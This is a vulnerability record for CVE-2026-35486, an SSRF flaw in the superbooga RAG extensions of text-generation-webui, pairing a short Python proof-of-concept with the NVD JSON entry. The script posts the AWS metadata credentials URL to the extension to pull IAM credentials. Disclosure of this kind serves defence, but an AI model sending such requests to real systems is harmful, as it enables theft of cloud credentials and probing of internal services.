CVE-2026-35486

import requests # Target URL (vulnerable text-generation-webui instance) target_url = "http://localhost:7860" # Malicious payload pointing to AWS Metadata Service (SSRF) # This simulates sending a request to the vulnerable RAG extension malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" payload = { "url": malicious_url, "extension": "superbooga" } # Send the malicious request # In a real scenario, this would be via the specific API endpoint of the extension response = requests.post(f"{target_url}/api/rag-process", json=payload) if response.status_code == 200: print("SSRF successful. Response:") print(response.text) else: print("Exploit failed.")

{"cve": {"id": "CVE-2026-35486", "sourceIdentifier": "[email protected]", "published": "2026-04-07T16:16:26.700", "lastModified": "2026-04-09T18:48:51.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "text-generation-webui is an open-source web interface for running Large Language Models. Prior to 4.3, he superbooga and superboogav2 RAG extensions fetch user-supplied URLs via requests.get() with zero validation — no scheme check, no IP filtering, no hostname allowlist. An attacker can access cloud metadata endpoints, steal IAM credentials, and probe internal services. The fetched content is exfiltrated through the RAG pipeline. This vulnerability is fixed in 4.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oobabooga:text_generation_web_ui:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.3", "matchCriteriaId": "7B0114B9-7FD7-45A2-9103-936373FF3445"}]}]}], "references": [{"url": "https://github.com/oobabooga/text-generation-webui/security/advisories/GHSA-jvrj-w5hq-6cp2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/oobabooga/text-generation-webui/security/advisories/GHSA-jvrj-w5hq-6cp2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}